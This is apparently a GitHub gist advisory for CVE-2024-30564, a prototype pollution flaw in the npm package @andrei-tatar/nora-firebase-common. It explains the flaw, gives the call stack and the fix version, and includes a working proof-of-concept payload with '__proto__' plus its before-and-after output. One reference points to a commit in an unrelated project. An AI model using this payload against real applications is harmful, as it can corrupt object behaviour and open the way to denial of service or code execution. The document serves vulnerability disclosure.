Skip to content

Instantly share code, notes, and snippets.

@mestrtee
Last active April 23, 2024 18:04
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save mestrtee/5dc2c948c2057f98d3de0a9790903c6c to your computer and use it in GitHub Desktop.
Save mestrtee/5dc2c948c2057f98d3de0a9790903c6c to your computer and use it in GitHub Desktop.
[CVE-2024-30564] Prototype Pollution vulnerability affecting @andrei-tatar/nora-firebase-common module, versions >=1.0.41, <=1.12.2

All versions of this module are vulnerable to Prototype Pollution via updateState. The user's supplied value find its path to the vulnerable function updateStateInternal recursively copy all child properties in the source "user's supplied value" to the destination without proper security validation.

An attacker can exploit this vulnerability by manipulate the prototype of Object by modify built-in Object.prototype through reachable special properties __proto__ or constructor.prototype. Potentially leading to the alteration of behavior of all objects and consequently, the attacker escalate the attack to denial of service, remote code execution or privilege escalation.

Call stack:

updateStateInternal (nora-firebase-common/build/update-state.js:54)
Module.updateState (nora-firebase-common/build/update-state.js:6)

PoC:

(async () => {
  const lib = await import('@andrei-tatar/nora-firebase-common');
var BAD_JSON = JSON.parse('{"__proto__":{"polluted":true}}')

var victim = {}
console.log("Before Attack: ", JSON.stringify(victim.__proto__));
try {

  lib.updateState (BAD_JSON, {})
	} catch (e) { }
console.log("After Attack: ", JSON.stringify(victim.__proto__));
delete Object.prototype.polluted;
})();

Output:

Before Attack:  {}
After Attack:  {"polluted":true}

Expected output after the patch:

Before Attack:  {}
After Attack:  {}

How to prevent:

upgrade to version 1.12.3 or a later version

References

https://github.com/Blackprint/engine-js/commit/bd6b965b03c467e7a58ab0cb89b9172fa5e07013

https://nvd.nist.gov/vuln/detail/CVE-2024-30564

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment